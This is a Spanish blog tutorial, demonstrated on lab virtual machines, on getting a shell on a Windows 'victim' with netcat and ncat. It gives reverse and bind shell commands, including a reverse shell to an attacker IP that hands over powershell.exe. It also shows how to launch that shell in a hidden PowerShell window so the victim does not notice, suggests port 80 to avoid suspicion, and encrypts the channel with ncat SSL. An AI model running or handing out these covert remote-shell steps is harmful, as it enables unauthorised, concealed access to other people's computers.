martes, 25 de septiembre de 2018

Usando netcat para obtener una shell

Hay ocasiones en las que, por el antivirus o por la limitación que sea, nos vemos obligados a usar netcat para obtener una shell en el equipo de la víctima. Hoy explicaré cuales son los tipos de shell y como podemos hacer para obtener una en cualquier equipo en cuestión de segundos si tenemos acceso físico al dispositivo desbloqueado.

Explicación de los tipos de Shell

Reverse Shell

Este tipo de Shell quizás es el más adecuado en entornos corporativos o que haya algún firewall en la red. Consiste en que el atacante se ponga a escuchar en algún puerto en su máquina y la víctima se conecta a él.

Bind Shell

Este tipo de Shell se suele usar más cuando se compromete un equipo en la misma red. Es lo contrario a la anterior. En esta la víctima se pone a escuchar en un puerto y es el atacante quien se conecta.

Ejemplo práctico

Entorno

Para realizar estas pruebas usaré dos máquinas virtuales. Un Windows 7 y la otra Kali Linux 2018.1 aunque la versión no debería afectar para nada.

En Kali ya está instalado por defecto netcat pero en Windows no, por lo que tenemos que descargarlo. Lo podemos hacer desde aquí https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip.

Reverse Shell

Para esto, usaremos la máquina Kali como atacante. Lo primero que vamos a hacer es usar netcat para escuchar en un puerto. Esto se hace con el siguiente comando:


nc -lvp 1337

Sustituyendo 1337 por el puerto que queramos. Lo podemos poner por ejemplo en el 80 para no levantar sospechas o evitar cualquier problema con el firewall.

Ahora lo siguiente será escribir el siguiente comando en el cmd de Windows.


RUTA_EJECUTABLE_NETCAT -nv IP_ATACANTE PUERTO -e cmd.exe


Y una vez le demos, en nuestra máquina Kali tendremos una Shell en la máquina Windows.



Bind Shell

Ahora sería al contrario que el caso anterior, vamos a poner a la máquina Windows a escuchar y nos conectaremos desde Kali.

Para ello tenemos que escribir el siguiente comando en el cmd:


RUTA_EJECUTABLE_NETCAT -lvp PUERTO -e cmd.exe


Ahora lo que tendríamos que hacer es conectarnos desde la otra máquina con el siguiente comando:
nc -nv IP_VICTIMA PUERTO


Y ahora ya tendríamos de nuevo una Shell en el equipo Windows.


Escondiendo la Shell

Ahora ya sabemos cómo tener una Shell en cualquier equipo, pero hay un gran problema, la consola se ve demasiado. Esto hay una forma de solucionarlo muy sencilla. Lo que tenemos que hacer es cambiar la forma en la que ejecutamos netcat. Para ejecutarlo de forma oculta tenemos que darle a la combinación de teclas Windows + R y escribimos el comando de la siguiente forma:


powershell -W Hidden RUTA_NETCAT -nv IP_ATACANTE PUERTO -e powershell.exe
Ahora en vez de ejecutarlo en el cmd vamos a ejecutarlo en un powershell, aunque si queremos podemos ejecutar la otra consola si queremos. El comando lo que haría sería ejecutar el powershell oculto. La clave está en el parámetro -W (-WindowStyle) que lo que hacemos es decirle que el estilo de la ventana sea oculto.

Por ejemplo, para una reverse Shell, una vez puesto la máquina del atacante a escuchar, lo que haríamos sería escribir el siguiente comando:


powershell -W Hidden "C:\Users\usuario\Desktop\nc.exe" -nv 192.168.217.129 1337 -e powershell.exe

Una vez ejecutemos el comando ya tendríamos una Shell en el equipo de la victima y ésta no se daría ni cuenta. Lo único que se vería, aparte de la conexión, es el proceso de netcat, pero esto un usuario normal no suele mirarlo.


Y entonces, ahora ya tendríamos una Shell en el equipo de la víctima.

Haciendo la conexión segura

Ahora, una vez visto los tipos de Shell y como ocultarla, al menos, a simple vista, vamos a llevarlo un paso más allá y vamos a cifrar la comunicación entre la víctima y el atacante.

Para ello vamos a usar ncat, que es la versión de netcat mejorada por el proyecto Nmap. Para descargarlo, podemos hacerlo en la web oficial de nmap ( https://nmap.org/ncat/ ).

Ahora para ver este ejemplo, primero vamos a poner wireshark a esnifar paquetes para comprobar como la comunicación está cifrada realmente.


Para este ejemplo, vamos a hacer una bind Shell, por lo que nos vamos a nuestra máquina Windows y la ponemos a escuchar con el siguiente comando:


RUTA_NCAT --allow IP_ATACANTE  -lvp PUERTO --exec cmd.exe --ssl

Y ahora desde la máquina Kali tenemos que poner el siguiente comando:


ncat -v IP_VICTIMA PUERTO --ssl

Y como vemos ahora en la captura de Wireshark, la conexión entre la víctima y el atacante, está cifrada.


Y esto es todo, espero que os haya gustado el artículo. Si tenéis cualquier duda podéis dejadlo en los comentarios o decírmelo por twiter (@RaSr98).

¡Un saludo!

0 comentarios:

Publicar un comentario